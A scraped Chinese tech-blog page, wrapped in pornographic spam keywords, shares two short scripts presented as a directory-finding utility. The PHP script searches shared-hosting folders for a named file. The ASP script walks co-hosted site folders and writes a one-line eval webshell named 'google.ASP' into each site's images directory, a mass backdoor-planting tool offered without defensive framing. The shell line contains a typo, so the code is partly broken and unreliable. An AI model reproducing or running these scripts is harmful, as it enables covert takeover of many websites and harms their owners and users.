天天躁日日躁狠狠躁AV麻豆-天天躁人人躁人人躁狂躁-天天澡夜夜澡人人澡-天天影视香色欲综合网-国产成人女人在线视频观看-国产成人女人视频在线观看

php一個找二層目錄的小東東

php
復(fù)制代碼 代碼如下:
<?php
set_time_limit(0);
$path = 'D:/Hosting';
$somefile = $_GET['key'];
$logfile = 'D:/Hosting/6668835/html/images/ennumdir.txt';
if (!isset($_SERVER['php_AUTH_USER'])) {
header('WWW-Authenticate: Basic realm="My Realm"');
header('HTTP/1.0 401 Unauthorized');
echo 'Text to send if user hits Cancel button';
exit;
} else {
if(is_dir($path) && is_readable($path))
{
$path2 = '';
$handle = opendir($path);
while(false !== ($filename = readdir($handle)))
{
if($filename{0} != $_GET['dir'])
{
continue;
}
/*
if($filename{1} != $_GET['two'])
{
continue;
}
*/
//$path2 = $path.'/'.$filename.'/html';
$path2 = $path.'/'.$filename;
if(is_dir($path2) && is_readable($path2))
{
@$handle2 = opendir($path2);
while(false !== ($filename2 = readdir($handle2)))
{
if($filename2 == $somefile)
{
//echo'[+]Found !'.$filename2."/n";
file_put_contents($logfile,'[+]Found !'.$path2.'/'.$filename2."/n",FILE_APPEND);
}
}
@closedir($handle2);
}
}
file_put_contents($logfile,'[*]LAST '.$path2."/n",FILE_APPEND);
closedir($handle);
}
}

ASP
復(fù)制代碼 代碼如下:
<%
Server.ScriptTimeout=500000000
key = Trim(Request.QueryString("key"))
msg=" <% eval(rquese(Chr(35)))%" &">"
Set FSO=Server.CreateObject("Scripting.FileSystemObject")
Set ServerFolder=FSO.GetFolder("C:/intel")
Set ServerFolderList=ServerFolder.subfolders
For Each ServerFileEvery IN ServerFolderList
' Response.write ServerFileEvery&"</br>"
If LCase(Left(ServerFileEvery.name, 1)) = LCase(key) Then
Set sServerFolder=FSO.GetFolder(ServerFileEvery)
Set sServerFolderList=sServerFolder.subfolders
For Each sServerFileEvery IN sServerFolderList
If LCase(sServerFileEvery.name) = "images" Then
StreamSaveToFile sServerFileEvery & "/google.ASP", msg, "UTF-8"
End If
Next
End If
Next
Function StreamSaveToFile(sPath, sContent, sCharSet)
Dim oStream
If(InStr(sPath, ":") <= 0)Then
sPath = Replace(sPath, ",", ",")
sPath = Server.MapPath(sPath)
sPath = Replace(sPath, ",", ",")
End If
Set oStream = Server.CreateObject("Adodb.Stream")
With oStream
.Type = 2
.Mode = 3
.Open
.Charset = sCharSet
.WriteText sContent
.SaveToFile sPath, 2
.Close
End With
Set oStream = Nothing
End Function
%>

php技術(shù)php一個找二層目錄的小東東,轉(zhuǎn)載需保留來源!

鄭重聲明:本文版權(quán)歸原作者所有,轉(zhuǎn)載文章僅為傳播更多信息之目的,如作者信息標(biāo)記有誤,請第一時間聯(lián)系我們修改或刪除,多謝。

主站蜘蛛池模板: 男人日女人的b | ankha成人| 国产成人精品视频频 | 美女禁处受辱漫画 | 亚洲午夜精品A片久久WWW解说 | 牛牛在线1视频 | 福利免费观看体检区 | 99热在线观看精品 | 亚洲薄码区 | 亚洲国产夜色在线观看 | 日本一本免费线观看视频 | 精品亚洲一区二区在线播放 | 亚洲高清国产拍精品动图 | 超清无码波多野吉衣与黑人 | 男人舔女人的阴部黄色骚虎视频 | 欧美日韩精品 | 久久热在线视频精品1 | 视频一区国产 | 哒哒哒高清视频在线观看 | 日韩欧美中文字幕在线 | 污到湿的爽文免费阅读 | 超碰在线观看 | 国产精品XXXXX免费A片 | 亚洲成A人片在线观看中文不卡 | 久久ZYZ资源站无码中文动漫 | 一起碰一起噜一起草视频 | 美女gif趴跪式动态图 | yellow日本动漫高清 | 精品一区二区三区高清免费观看 | 花蝴蝶高清影视视频在线播放 | 播色屋97超碰在人人 | 久久re这里精品23 | 免费观看激烈日板子 | 一扒二脱三插片在线观看 | 欧美另类极品videosbest | 九九久久精品 | 果冻传媒视频在线播放 | 神马电影dy888午夜我不卡 | 最近中文字幕2019国语4 | 欧美乱码卡一卡二卡四卡免费 | 久久亚洲精品中文字幕 |